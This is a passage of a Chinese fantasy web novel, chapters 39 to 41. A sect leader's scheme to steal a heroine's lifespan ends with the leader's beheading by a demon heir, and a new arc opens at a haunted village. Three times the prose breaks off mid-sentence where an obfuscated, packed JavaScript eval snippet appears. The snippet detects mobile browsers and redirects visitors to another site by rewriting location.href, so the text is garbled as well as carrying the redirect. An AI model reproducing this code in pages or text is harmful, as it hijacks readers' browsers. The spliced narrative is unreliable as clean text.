就连白蛇都知,转世后的许仙已不是她五百年前的爱人,李刻青却为何这么固执呢? 难道这就是爱? 面目全非的爱? 段匆叹了口气,道:“即使你对我好是因为她,我仍旧很感激你。” 她望着下方黑泱泱的人群:“你看,天门宗有这么多弟子,他们有的天赋过人,短短数年便能够修出一身高强的法力,可以御剑自由飞行,可以下山,降妖除魔,匡扶正道,他们所过之处,百姓无一不热泪盈眶的夸赞、感谢。还有的人,他们或许不那么强大,可是他们十分聪明,或能做出很厉害的法宝,或能发明出很有用的符咒,他们无论在哪里,都非常出类拔萃、足以吸引所有人的目光。” 李刻青静静听着,段匆道:“而我与他们相比,就显得平平无奇了,没在人堆里,谁也不会注意到我。可是……” 在他的眼中,她是独一无二、与众不同的。 她是旁人故事中的过客,却在他身边,活的似个主角。没有人不会喜欢这种感觉。 “我很感激。” 但是,也只能是感激了。 下方忽然出现了一阵骚动,原来是重明负手走来。 周丁异忙愁眉苦脸的扯住重明的袖子:“掌门人啊! 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“如果我没记错的话,她杀的那人,名为冯兆安。” 妈的!宁芙! 段匆此刻简直想往她脸上吐一口老血!她以为他们之间即使有些过节,但也不至于到如此针锋相对的地步! 和猫妖勾结或许还能解释的清楚,可是杀了冯兆安的事,真是板上钉钉、跳进西湖水里也洗不清了! 重明道:“段匆,此事属实?” 他声音不大,却透过法力,一字一句清清楚楚的传入段匆耳中。 苏有容抢先道:“掌门,师妹杀他,是因为他先动了杀念,想杀了有容,”她撕下右边那截空荡荡的袖子,缺失的残臂赫然暴露在大家眼前。她道:“这便是冯兆安所为。” 苏有容在师门中深得敬重,大家见她如今竟这般凄惨,不由对那冯兆安起了怨愤之心。 “那人都这样了,师妹不回击,还等着他杀了苏师姐吗?” “是啊,是啊。” 宁芙却冷嘲道:“可是师姐,若不是段匆先和那只猫妖勾结,杀了另一位捉妖师,他又怎么会好端端的起了杀念呢?” 周浮生此时已经震惊到快要爆炸了,他是因为段匆不喜欢他而心怀怨恨,可是,也不至于到如此地步吧!他面色青一阵白一阵,听着宁芙一字一句的继续向掌门人指责段匆的罪行,终于忍不住了,抓住宁芙手腕,喝道:“宁芙!” 那时狐妖作祟,宁芙与狐妖达成协议,他二人不对付狐妖,狐妖也放过他二人。于是当段匆和谢蕴他们在地下捉妖场里摸爬滚打时,他二人却在外边清清楚楚的看着戏,兼之过了几天风流快活的好日子。 他们也不见得多光彩,又有何立场指责段匆?! 宁芙却冷笑一声,甩开他的手。 周浮生怒极,再度反拧她,却被重明伸手一挥,顿时弹出数十米远! 周丁异一拍大腿,哭号道:“哎呀掌门!这是干什么啊!我的生儿啊!” 下面乱做一团,刑柱上,段匆的神色却渐渐凝重起来。 “我怎么觉得……好像无论如何,掌门人都一定不会放过我?” 李刻青语气中忽带上一丝玩味的笑意:“我好像,知道了。” 42. 第39章 段匆睁开眼:“掌门人,你果真来了。” ——十三司到底还是讲道理的,会审的最终结果,她有罪,但罪不至死。身上捆妖索被除去,她被发落长狱,受幽禁之刑三月。 但现在看来,这样的结果并不是有些人想要的。 “掌门人,你想从我身上得到什么?” 光线黯淡的长狱囚牢中,重明神色复杂,许久,冷声道:“你既发觉,那我也不必留情了。” 说罢他一掌拍出,段匆顿时口吐鲜血,神情痛苦。 她咳道:“只是……我死之前,想死的……瞑目一些。” 长狱的守门弟子都已昏迷,而明日清早,天门宗所有人都会得知段匆意图越狱、被他失手杀死的消息。死人永远不会再开口,届时将永远没人会知道这个秘密。 想到此,重明有些放心的一笑。 “好,不妨告诉你,使你做个明白鬼。” “我要的,是你的寿命。” 寿命? 段匆愣了,她没想到会是这样的答案。 重明缓缓抬手,抚摸自己的脸。 许多年前,他也和如今的她一样年轻。那时鲜衣怒马、意气风发,少年郎剑眉星目,站立于天地之间,身姿俊秀挺拔。那时以为天下之事,无他所不可为之,以为一生时光如此漫长,挥霍都来不及,又何必珍惜? 可是,已经过去五十多年了。 他的皮肤越来越粗糙,两鬓越来越斑白,使剑的手开始颤抖、力不从心。终于有一日,在铜镜之中,他看到一个全然陌生的老者。 一时间,他如被摄去魂魄,周身颤抖,将那镜子砸的稀巴烂。 “是谁?这是谁!镜中何人!” 闻声而来的小弟子轻声劝慰:“掌门,这……这是你啊。” ……是他。 镜中老态尽显的那人,是他。 他望着小弟子年轻的眉眼,如青松般遒劲的身姿,一时怔然。 原来五十年,不过弹指一挥间。 “我已经老了,很老很老了,”重明卸去平日里的端正肃重,疲态尽显,声音里,也透出浓浓的沧桑,“尽管这些年,我努力保养,与时间对抗,延长容颜的苍老,可是,我毕竟是老了。我已经……年逾古稀了。” 生老病死,本就是人之常情。段匆着实不能理解他的固执:“二十多岁时有二十多岁的苦恼,七十多岁时也自有七十多岁的收获,重明,这世上人人都会经历这么一遭,却为何偏独你这样不能释怀?” “那你呢?”重明拂袖,忽然冷笑道:“若是让你此时的容貌枯萎苍老,状如老妪,你可愿?!” 呃,好端端的,那当然不愿意了!但若是真的到了那一天,她也会坦然的接受。 段匆咳道:“……我只是说,不要太在乎那副皮囊。” 这一瞬间,在幽暗光线下,她忽然觉得重明的那副面孔上浮出浓浓的悲伤。 他笑,声气竟然有些凄凉:“你以为……我在乎的是皮囊?” 难道……不是吗?这么半晌,他口口声声放不下的,不就是年轻时春风白马的少年貌吗? 重明道:“我在乎的……是时间。” 他环视这长牢,将一砖一瓦,一草一木,都深深的印刻在眼底。 “五十年之前,这里是什么地方,你知道吗?” 段匆摇头,五十年之前,她估计还在前世尚未投胎到今世呢,当然是不知道了。 “五十年之前,这里,是一片荒凉无人的乱葬岗。那时我不过二十来岁,游历天下,见百姓深受妖物所扰,于是在心底许下誓言,要尽自己这一生之力,降妖除魔、匡扶正道。” 他说到这里,段匆终于有些动容,觉得面前这个人重新变成那个她所熟悉的掌门人。 “但一人之力,一定是不如众人之力的。于是我花费半生心血,将当日的乱葬岗变成了今日巍峨宏大的天门宗,广收弟子,传授法力,教他们济世救人。” 段匆忍不住叫道:“掌门人,这才是你!” “这样的你,怎会做出今日之事?我与你无冤无仇,你又何必加害于我?” “我说了,我需要时间!”重明也好似从他少年时的理想中惊醒,盛怒道。 “天门宗如今虽门派光大,可是,它还远远不够!妖太强了,仅凭今日的天门宗,是不可能将它们彻底铲除的!更何况,妖物拥有千万年的寿命,而我等凡人……穷极一生,不过短短百年!” ……而留给今日之他的,又还有多少年? “掌门人,你太急切了。人妖的矛盾从千百年前便存在,可这么多年了,你可曾见到谁成功的解决了这一难题?”段匆恳切道:“它本来就难解。” “但是,你老了,你的弟子们,他们还正年轻;等将来他们也老了,又会有新一代的、他们的弟子,他们弟子的弟子……妖虽千万年不死,可捉妖师的流传,却也是千万世不断的。问题虽难解,却有漫长的时间留给我们去解,你又何必如此急于求成?” 重明冷冷一笑:“就像你?” 段匆一时懵道:“啊?” 重明道:“我的弟子们,就是像你这样的废物?”段匆怒道:“也不必如此侮辱人吧!” 重明冷笑道:“其实并没有错,他们一个个,就是像你这样的废物。他们,我谁也不信。如果人妖恩怨终有了解的那一天,那一定是在我的手里。” 他也太自负了。段匆在心中斟酌一会,试探道:“那为何是我?我从未听过有一门法术可以将他人寿命转移给自己的。莫非……是禁术?可为何是我?” 重明朝她走近一步,扼住她的喉咙:“本座也是近日才知道。” “段匆,你以为你是谁?” “咳咳,咳……”段匆快要喘不过气来了。 她是谁?她是段匆,自记事起便无父无母,跟随师父来到天门宗修行,十几年如一日。 她是……段匆。 她还能是谁? “猫妖有九条命,竟有七条都浪费在了你这个庸才身上,着实,可惜!” 话罢,重明手中灵光大盛,段匆只觉得全身的血液被一种强大的力量吸引向外,她的脑中似有千万个疯狂的冤魂在歇斯底里的尖叫,一幕幕不属于她的回忆冲进她的脑海。 她抱住头,不能忍受的跪在地上。 她是谁? “段匆!段匆!”淡淡的杏花香弥漫在鼻尖。 “没事了,没事了,我在这里。”李刻青将她紧紧抱在怀里,好像生怕她消失。 段匆睁开眼,仍旧是黑暗幽深的长狱,重明已被降服,被七道捆妖索缚着,站立一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13060193|137687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边,不能动弹。 “小白,你们……成功了?”段匆揉揉头,示意自己没事,站起来,推开了他。 李刻青怔了片刻,竟有些怅然若失。 不过很快,他又恢复如常。 重明嘲道:“周丁异?” “不错,是我。”周丁异负手而立,语气深沉,竭力为自己营造一种“十步杀一人,千里不留行”的世外高人之姿。只可惜,周浮生他爹、段匆她亲师父这人,长的本来就不怎么正经,一双丹凤眼细眯的过了分,就显得有些油滑。一撮山羊胡,更增添猥琐气质。 装了片刻,他终于装不了了:“没错,是我怎么了,掌门人!你打我生儿一掌,我还没找你报仇呢!” 重明闭上眼,淡淡道:“是你放了这猫妖?” “你们早就商量好了,算计本座?” 周丁异沉重的叹了一口气:“我说掌门人啊,这人老了呢,就要服老。你辛辛苦苦几十年,终于老了,可以歇一口气,将身上的担子交给年轻人了。这本是世上最好不过的事,你又为何偏要强求呢?” 重明冷笑道:“废物。” 周丁异嘿嘿两声,为老不尊道:“我就喜欢做个废物,等着我这群徒弟们伺候我。” “我是说,废物,”重明一字一句,眸色加深,周身法力暴起,“你以为就凭你们,就能赢得了本座?!” 他身上七道捆妖索,寸寸开始断裂! “唉唉唉!且慢!先别打我!”周丁异慌了,脚底板抹油往后一溜,抓住一人的袖子躲在了他身后。 那人…… 重明一怔。 那人从阴影中走出来,赫然,是十三位戒律长老之一。 其余十二人,也俱紧随其后,成一个圆形,包围住重明。 “重明,青蛇修行千年,法力固然强大,可是,我同样苦修上千年,自认并不逊色于他。”李刻青挑眉看着重明,道:“可是那钱塘水祸,实话实说,若是没有那白蛇和民间修士助力,我恐怕早已被洪水所吞噬。他不该这样强。” 重明冷笑。 李刻青无辜的示意十三位戒律长老道:“所以,青蛇背后,有他在推波助澜。” “尘缘镜与水月镜乃一对上古法宝,几十年前,它们便为天门宗所得。我一直疑惑,为何青蛇会突然拥有水月镜。现在一切都清楚了。是你,使水月镜落在青蛇手中,借用青蛇对许仙的杀念,煽动他掀起洪水。可表面上,看似是你在帮青蛇杀了许仙,却其实,是你要借青蛇之手对付我们。” “与妖怪勾结的,不是她,而是你。天门宗掌门人,重明。” 天门宗……掌门人? 重明一时忍不住笑起来。为解百姓疾苦,他一手创立天门宗,可如今,天门宗成了怎样的地方? 妖物被释放,冠冕堂皇的审问他。而他这个掌门人,却成为了阶下囚。 他的笑越来越阴冷:“你们以为,人多就可以赢了?” “周丁异,我亲爱的师弟,”他道:“你以为,这些时日我潜心闭关,使你们为我护法,是为了什么?” 周丁异面色一变,叫声“不好!” 这老东西,闭关原来没安好心! 狂风忽起,重明法力大增,他一扬手,十三位戒律长老齐齐后退数步,神情痛苦,口吐鲜血。 43. 第40章 李刻青硬生生接下重明一掌,二人僵持,狂风乱作,刺眼的光芒将幽暗长狱照的亮如白昼! 段匆见势不妙,师父和十三位戒律长老都为重明所重伤,如今只剩他二人还勉强能支撑了。 她将手掌搭在李刻青背上,将自己的法力灌注给他。 哪怕微弱,但总归能起一些作用。 但段匆却没料到,当她的法力流入他身体的刹那,便好似奔腾的溪水终于遇到了本源,疯了般的、不受控制的尽数向他体内流去。她都要被榨干了! “段匆!放开我!放手!”李刻青大声道。 “我……我也想啊……”段匆咬着牙努力想使自己逃脱,但是发现她丝毫无能为力。她放弃了。 但与此同时,她发现,她那原本微弱的一点点法力进入李刻青体内后,却好似被放大,发挥了巨大的威力。重明甚至一时占了下风,支撑不住,吐了一口鲜血。 不管了!既跑不了,就先干掉重明吧!思及此段匆将另一只手也放了上来。 却没料到,他们本来就快赢了,李刻青却在这当口放弃了对抗重明,收手,转身,用尽全力将段匆一掌拍开,二人的联系终于被打断。 重明嘴角浮出狡黠笑容,趁此机会,狠狠一掌击在李刻青背上! 这一掌运足了法力,李刻青霎时跪倒在地,殷红鲜血自嘴角流出,脸色纸一样的白。 段匆慌乱的扶起他:“你这是干什么?我们本来快赢了的!”她忽然有种不妙的预感。 “你还不知道吗?”重明语气嘲讽。 段匆已经觉得不对了,她的前世,他,还有方才重明所说……什么猫妖有九条命,七条都给了她? 她磕磕巴巴的道:“是、是什么?” “你的法力疯狂涌向他,因为那本就是他的法力。你之所以苦修这么多年,仍旧法力平平,无所长进,因为你连一个完整的魂魄都没有。”段匆脑中“嗡”的一声,重明讽刺一笑,一字一句道:“你只不过是天地之间,浑噩游荡的一缕残魂。” 段匆一时几近失去所有感官,她呆呆跪在原地,听到自己有些涩然的声音在空中响起:“我是……他所爱的那个前世女子的残魂,是吗?” 李刻青急急的道:“段匆,那都是你!” “不,”段匆呆呆的重复道:“我只是……她的一缕残魂……” 他人施舍的,残魂。 “猫妖痴情不改,不能接受他心爱那女子的离世,于是上天入地,花了六百年时间,终于在浊世间一点点、一点点的收集到了那女子残留的一缕魂魄。可一缕残魂,是无法像其他完整魂魄一样投入轮回、转世为人的。”重明残忍道:“于是他想了一个办法,可真是痴情的可怕。” “猫妖不同于其他妖,他们生来有九条命。这只猫妖,将他的妖丹化作九瓣,每一瓣,都可用来为那魂魄重塑出一世凡人的血肉,强行让魂魄进入轮回。”段匆脸上的痛苦之色使重明十分快意,他微笑道:“当然,你不是第一个。” 段匆恍惚道:“第七个。” 七瓣妖丹,七世血肉,她是那缕残魂的……第七世载体。 她身体里流的血,是他的妖丹所化。她的魂魄,是别人剩下的残魂。 那么还有什么,是真真正正属于她的东西呢? “李刻青,原来这么多年,我不过是……由你的执念强求在世上的……一个影子。” “段匆!段匆!听我说,每一世都是你,你只不过是失去了那些记忆,我所爱的,一直都是你!”李刻青握住她的手,急道。 段匆却轻而坚决的挣脱了他:“你放过我吧!” “至少让我对你还拥有感激,而不是恨。” “我以为你只是爱的人不是我,却发现,这世上根本就没有我。” “还给你。”她划破手心,鲜血渗出。 她将手伸到他面前:“我的血肉,魂魄,法力,你赐予我的一切,如今通通都还给你。” “不,不……”李刻青将她的手紧紧握起来,用法力疗愈她,道:“一直都是你,相信我。” “那么为什么不让我恢复最初的记忆,我看不到尘缘镜中我的前生……为什么不让我看到?为什么不告诉我?”那样,不才是完整的她吗?还是说,李刻青他从一开始就只是将她视作一个可怜的、残缺的替代品? “不……我只是怕你痛苦,只是觉得如今的你,生活的更快乐。”李刻青一字一句道。 还能有多痛苦?能够有此时痛苦?段匆好笑的笑起来。 她变成这样,重明倒有一刹那对她有些许怜悯了。 他一心爱世人,而她,其实也是大千世界、芸芸众生中的一个。他低低的叹了口气。 下一瞬,神色复变得狠厉。 她即如此痛苦,那他便结果她的痛苦。 若他能拿到猫妖剩下的那两瓣妖丹、还有她身体中的七瓣妖丹,那他便可以化出九世血肉,多出九世寿命。 九百年,那时候,他笃信自己可以彻底解决人与妖的仇怨,使天下无妖,使人间安乐。 那时候,他便可以安然的死去。 哪怕容颜苍老,哪怕脊背佝偻……而那些都已不再是他真正所害怕的东西了。 可是,段匆却好像忽然想起什么,神色变得清明,站起来,直视重明,一字一句道:“我与他的仇怨,是我们二人的事。但那不代表,你可以随心所欲拿走那九瓣妖丹。” 她朝李刻青伸出手,将他拉起来。 李刻青眼中闪过一抹喜色,段匆漠然道:“这不代表什么。” 没有父母,没有血肉,没有魂魄,没有爱……至少,她还有最后一丝,独属于段匆这个……就算本不存在的人的,骄傲。至少那是真的。 “该怎么做?”段匆正色问道。 李刻青亦正色:“你的剑呢?” 地上响起一个十分鸡贼的声音:“在这!还好我当时就觉得这剑不普通!”一把漆黑古朴的长剑抛来。 重明冷冷瞥周丁异一眼:“你还没死?” “死!立马就死!”周丁异怕的就是重明再度注意到他,很用力的咳了两声,咳出几口鲜血,奄奄一息的把头埋在地上道:“掌门人,不用管我,我离死也不远了……你们继续,继续……” 好在重明也并不在乎他。 李刻青轻轻的抚摸这把黑色长剑,它外观平平无奇,但拿在手上,便有种格外的安心感。像极了故人。他道:“人生不相见,动如参与商,此剑名为参商,是你……”他见段匆冷漠神情,不动声色的叹了口气,道:“是她的佩剑。” “参商本身便具有极大法力,只是此前你法力低微,不能很好的操纵它。” “今日,你我二人合力。” 说罢他握住她的手,然后两个人一同握在剑上。 段匆怒道:“反正我不过一缕残魂,有也相当于没有,何不你一人用它得了?” 李刻青微笑:“它认主。它的主人就是你。”他的法力,再加上她的魂魄,才足以驾驭这把剑。 段匆不再言语,将心思专注在剑上。很快,她便感到源源不断的法力从这把剑上散发出来,震得她险些握不住剑柄! 重明神色也是一凛,衣袂被吹的乱飞,他怒道:“本座就不信——” 两股强大法力碰撞,重明喷出一口鲜血,不停后退,最后,被重重拍在了长狱的灵铁栏杆上! 李刻青趁此时机,轻轻一揽段匆的腰,足尖一点,带着她向上飞起,两人共同,将参商剑插进重明的胸口! “我……”重明瞳孔蓦然放大,头渐渐低垂下来,不动了。 周丁异此时又好像伤的不是特别重了,他快速抹一把嘴角血迹,从地上一跃而起,小心翼翼探向重明鼻息。 “还没死。” 周丁异猝不及防被吓了一大跳,向后连退两步,站立不稳,一个屁股墩坐在了地上。 恰好,和垂着头的重明来了一个近距离对视。 重明面容疲惫,眸色幽深,语气倒是十分硬气与嘲讽:“怎么,师弟,这么着急我死不死,是惦记着我的掌门之位吗?” 周浮生讪笑两声,连连摆手。 重明当然没有死,他们那剑本来也没插到致命部位。段匆道:“你犯了何罪,该受何处置,自有十三司审决。” 重明哈哈大笑起来。 “庸徒,一群庸徒,”他冷冷讥嘲道:“人妖敌对了千百年还没有解决,就是因为世上有你们这样优柔寡断、无所作为的庸徒!” 段匆冷笑:“如果你真的那么厉害,也不会沦落到此时这般境地。更何况,”她语气和缓一些,“解决人妖对立的方法,从来都不是一味的将其中某一族屠杀干净。千百年前,人妖水火不容,动辄屠村、屠城,而到了今日,其中矛盾已经缓解许多,妖物渐渐懂得自我约束,人族也开始发现妖物并非全部邪恶。” “千百代企盼真正人妖和平的捉妖师的努力,你不该一味否决。” “废物!庸徒!他们努力的结果在何处,我却不曾看见?!”重明由盛怒,逐渐变得有些苍凉,“我心有千秋霸业,心有鸿鹄大志,我缺的……”他的面容忽然变得惊恐,眼珠子蓦然睁的极大、极大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13060194|137687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 他的眼睛中,映出一个人的模样。 浓浓的妖气散开在长狱,让人从心底毛骨悚然。数千年前的记忆重浮心头,李刻青不可置信、失态叫道:“宣离?!住手!” 然而一切都已经迟了。 重明知道,自己没有机会了。过去的岁月飞速在他脑海浮现一遍,他发现七十年竟然如此短暂,他真的还想要好多好多个七十年,他还有好多好多未完成的事。可是,他知道那再也不可能了。 我缺的…… “只是时间啊。” 最后一句带着哽咽的话语落下,一样东西骨碌碌滚到地上。 那是重明的头颅。 周丁异一时跪在地上,双手颤抖,想要捧起那颗头颅,但对上那未闭合的双目,他却又不敢。重明是做了错事,可是,他们年少时一同斩妖除魔、游历天下,春风白马,意气风发,他们相伴数十载,一同创立了天门宗……周丁异终于惨叫出声:“师兄!!!” 他是做了错事,但不过这么小小一桩,他何以至死?何以至死?! “宣离,没想到……你竟还活着。”李刻青神色冰冷,语气之间充满厌恶。 那人渐渐走近,叫人看清他的容貌。 泼墨一样的黑衣,雪一样白的皮肤,黑漆漆的眼珠子,因太黑、太黑,几乎显得无光。 而眉心中,又有一个鲜红艳丽的图腾。 说不出的妖异,诡秘。 “……师父。”看着周丁异如此痛苦,段匆不由也哽咽,她仇恨的望向来人,暗暗握紧了参商。 “宣离……你到底是什么人?”段匆憎恶道。 “我们,不是早就已经见过了吗?”宣离款款微笑,却因那双黑到过分的眼睛,而显得十分渗人。 不,她从来没有见过他。 但是……段匆微微一愣,注意到了他眉心那鲜红的图腾。 “……凤凰图腾?”她骇然道:“你是妖帝之后!” 宣离微笑。 段匆心神大乱。 怎么可能?妖帝早在千年之前就为天师钟乐所斩杀,包括妖帝三子,怎么可能还会有一个存活于世?! 可是,那凤凰图腾,却又和她在妖物全书上看到的毫无二致,一模一样! “宣离,滚开!”李刻青有种异样的、超乎寻常的紧张。而宣离玩味一笑,怜悯道:“若是千年之前,你或许还可以与我尽力一战。可如今,你九瓣妖丹有八瓣在她身上,小猫儿,你有什么底气来这样同我说话?” 说罢,他走近一步。 李刻青立刻挡在段匆身前。 但只见宣离蔑然一笑。 他轻轻一挥袖,好像是只是挥去上面的一粒尘土。但是,李刻青已重重的跌倒在一旁,神色痛苦,吐出大口鲜血。 李刻青并不弱,他就算只有一瓣妖丹,也修成了能与青蛇、重明一战的大妖。但是,宣离与他相比,强出太多、太多了! 段匆感到宣离蹲了下来,注视着她。 “妖帝之后,你为什么会出现在这里,你想怎么样?”她绝望问道。 “阿乐,”宣离叫道,神情忽然变得温柔,声音也怜惜、柔软起来,他用手背轻触段匆脸颊,段匆控制不住的颤抖起来,听到他有些可惜的道:“这么多年不见,你好像变了。” 忽然,他僵了一下。低下头,看着穿透自己的黑色长剑,笑容渐渐变得玩味。 “又好像没变。” 他推开段匆,将参商一寸寸拔出来,丢在一边,冷冷道:“把她关起来!” “是,主子。”黑暗中,走出来一个容貌平平无奇、叫人过目即忘的女子,搀起段匆双臂,将她重新关进了长狱。 宣离走远了,可那双漆黑的眼睛却仿佛仍旧在注视着她。 某一刹那,段匆忽然恍然大悟—— 洪水之中,那个被淹没的幼童! 一模一样的眼睛……从那时开始,他就已经在注视着他们的一举一动了! 远处忽然又有脚步声响起,段匆抬头,发现竟是宣离重新回来了! “你……”她紧张的抓住灵铁栏杆,手心满是汗水。 宣离森然一笑,道:“我忽然改变主意了。” 李刻青用尽全力拽住他,咬牙道:“不!”却被宣离一脚踢开。 “你予我千百年悲欢,千百年苦难,”宣离越说越愤怒,整个长狱被他的法力波及,每间牢房的灵铁栏杆都开始摇动,兢兢作响,最后,他简直是咬牙切齿的咆哮出来:“你以为——” “你可以这么轻易的把一切都忘掉?!” 44. 第41章 “请问,前方可是娑罗村?” 听到“娑罗村”三个字,樵夫瞬间便打了个冷颤,就好像见到了什么洪水野兽似。他警觉道:“你问这个干什么?” 红衣女子道:“听说那里有妖物,我前去除妖。” 樵夫端详这红衣女子。她生的可谓极美,明眸皓齿,顾盼生辉,满头黑发用一根红绳子高高扎起,垂落成马尾。但奇怪的是,一眼看去,往往注意到的并不是她的美丽,而是她的神采、气度。简单、干脆、利落。像仙、又像侠。 “除妖?”樵夫眼前亮了亮。 他试探道:“你真能捉妖?” 红衣女子诚恳道:“我还没捉住过,不过,不妨一试。” 还没捉住过啊!樵夫霎时便有些失望了,还以为她是什么厉害的人物呢。 他摆摆手,敷衍道:“算了算了算了。”说罢,抬脚继续赶路。 “哎哎哎,”红衣女子拉住他:“我都还未一试,这位大哥,你怎么就知道我不行呢?” “姑娘啊,不是我说,”樵夫顿了顿,好心提醒道,“你不用去了,真的。” “娑罗村本来也算是个好地方,山清水秀,人杰地灵。可是后来啊,不知怎么的,听说——只是听说,那里忽然出现了一种妖怪。它能够吸干人的精血、使人最后变成一具皱巴巴的干尸。前前后后,那妖怪已经杀了不下百人了。” “而为什么我要说,‘只是听说’呢?”樵夫道:“为着这妖物的事,娑罗村的百姓也前前后后请了不少厉害的修士,可是,时至今日,他们还是没有一个人见过那妖的具体样貌,设下那么多陷阱,却从来没有一次抓到过那妖。” 红衣女子凝神沉思,道:“大哥,你继续说。” 樵夫叹了口气,道:“现在,娑罗村的百姓自己都乱了,窝里斗呢!有人说,那些修士的符纸、法力之所以没用,是因为那祸害村子的东西根本就不是妖。他们说,是村子里的别有用心的人做的。但又有人说,不是人,也不是妖,而是那不干不净的东西——鬼。” 女子一惊,道:“原来还有这一说吗?” “当然!”见她神情专注,樵夫颇有些“传道受业”的成就感,不由多说了两句:“而且,不管是人,是妖,还是鬼,那东西害人都有一个规律。” 女子道:“是什么规律呢?” 樵夫道:“这东西啊,它只害二三十多岁的青壮年男女。就像你我,要是到了娑罗村,一定也是那东西首先祸害的对象。” “所以姑娘,我劝你啊,别去那里,能走多远走多远。现在这世道并不太平,且苟得一日,赚得一日吧!” 女子连连点头,接着,诚恳的问道:“所以,前方到底是娑罗村吗?” 樵夫:“……” 没救了,这真是没救了! 樵夫连连摇头:“是是是,你呀,就不听劝吧——” “你这一去,一定会后悔的。” 女子却在听到“是”字时便眼前一亮,拱手道谢,轻快的继续赶路了,后面这句忠告并没有听见。樵夫望着她的背影,十分可惜的又叫道:“姑娘,你会后悔的啊!” 只可惜,钟乐沉浸在即将大展一番身手的豪情壮志中,仍旧没有听到。 自五岁时起,她已在蓬莱岛待了十五年了。十五年来,她潜心苦修、精进法力,终于,她觉得自己已有所成,可以出世、去做她从前有心却无力去做的那些事了。 而娑罗村,便是她听到的第一桩惨案。 走过一道摇摇欲坠的、由枯藤悬挂而成的吊桥,钟乐抬头,只见一座依山傍水的小村庄,若是平日里,青山依依,绿水迢迢,这村子一定是一处风景秀丽的风水宝地。 可是此刻,那山笼罩着一层黑蒙蒙的瘴气,那水也腐烂变质、不再清澈。一阵风吹过,空气中飘来一股诡异的恶臭味。 这样不礼貌,不礼貌…… 钟乐努力的将胸口那股翻腾汹涌的感觉压下去。 却见前方有一位仁兄:“呕——呕——呕——” 他弯着腰,吐的昏天黑地,钟乐眉心一跳,终于还是忍不住—— “呕——呕!!!” 好不容易吐完了,钟乐抹抹嘴,上前拍了拍那位吐的比她早、却结束的比她还晚的仁兄的背:“这位兄台,你还好吧?” “……还、还好!”这位仁兄终于也吐完了,直起身来,对钟乐点了点头。 “……”钟乐看她吐的双眼泪汪汪、眼尾都发红了,不由生起些怜惜之心,在胸前口袋里掏了掏,掏出一块丝帕递过去,道:“你擦一擦吧。” 这人揩干净眼角泪水,又擦了擦脸颊两侧渗出的细小汗珠,她的皮肤太过娇嫩,只这样轻轻一抹,便开始泛红。钟乐道:“姑娘也是来除妖的?” ……楚欢霎时瞪了眼,道:“这么明显?”她这女扮男装、扮的也太失败了吧! 钟乐诚恳点点头,见她十分挫败,转了话题夸赞道:“你的衣服很好看。” 楚欢顿时一挑眉:“这可是鲛锦!”见钟乐神情茫然,她不免有些得意的道:“没听过吧?” 钟乐呆呆的摇摇头,楚欢道:“传说南海之滨,有妖为鲛。每到夜晚,月亮升起之时,他们便会浮出水面、坐在礁石上,一边唱歌,一边吸取月华灵气,将之攒为丝线,再用数年的时间,夜以继日、呕心沥血的把这些丝线一根根编织起来,最后,便成了一匹瑰丽无双、举世罕见的鲛锦。” 钟乐看她的衣服,果真每一根丝线都闪烁着华美至极的光泽,晶莹剔透,举世罕见。 但衣服再美,也毕竟是身外之物。楚欢神色严肃几分,望向黑雾笼罩的娑罗村,说正事道:“早就听闻这里异事频发,有脏东西作祟,但可惜我爹我娘一直不让我出门,今日我总算得到机会,前来一探究竟了。” 钟乐也神色郑重起来:“你觉得,究竟是人,是妖,还是鬼?” 楚欢扬眉:“到底是什么,一看不就知道了?” 这倒也是。两人步入娑罗村。 若论妖气,这里并没有,鬼气嘛……这世上究竟有没有鬼她们都不知道,更遑论识别了。 但人嘛,倒是很多。 且此刻,正有一大群人聚集起来,围成一个圈子,很激烈的争论着什么。 钟乐和楚欢在人群中不断向前挤,终于看清里面发生了什么事。 只见一个披头散发、形容狼狈的女人,被捆在一个木架上。她的身旁,围绕着一圈秸秆、木柴,一个身材威武的男人手中高举一只火把,振振有词:“就是她做的!昨天深夜,我怕那东西到村子里来,再次害人,于是在村口守夜。结果正好看见她鬼鬼祟祟的往深山里走——那些尸体,不就是在山脚下被发现的吗!” 有人怀疑道:“王公豹,你当真看见了?” 王公豹道:“这还有假?!老子吃饱了没事干,闲的蛋疼去编排她?!” “这可不一定吧,”有人不屑的讥嘲道,“你惦记黄家这闺女也不是一年两年了。只可惜一直没吃到嘴边儿,如今,我看呀,你是恼羞成怒、故意栽赃嫁祸吧!” 在这么多人面前,一时被说破,王公豹脸色一阵青一阵白,精彩极了。 他故意放凉了嗓子,阴气森森的冷笑道:“赵婶子如果不信,我也无话可说了。但要是今晚,赵婶子家出了什么事,那就不好了。” “你!”赵婶子气急,却也真被他说的心里发毛:“不会吧,那东西专害二三十岁的青壮年,我都四十多、快五十了,应该……不会真害我吧?”她喃喃念着,面色十分不好。 “我敢保证,黄子衿这女人就是那害人的东西!”王公豹见吓倒了赵婶子,一手叉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 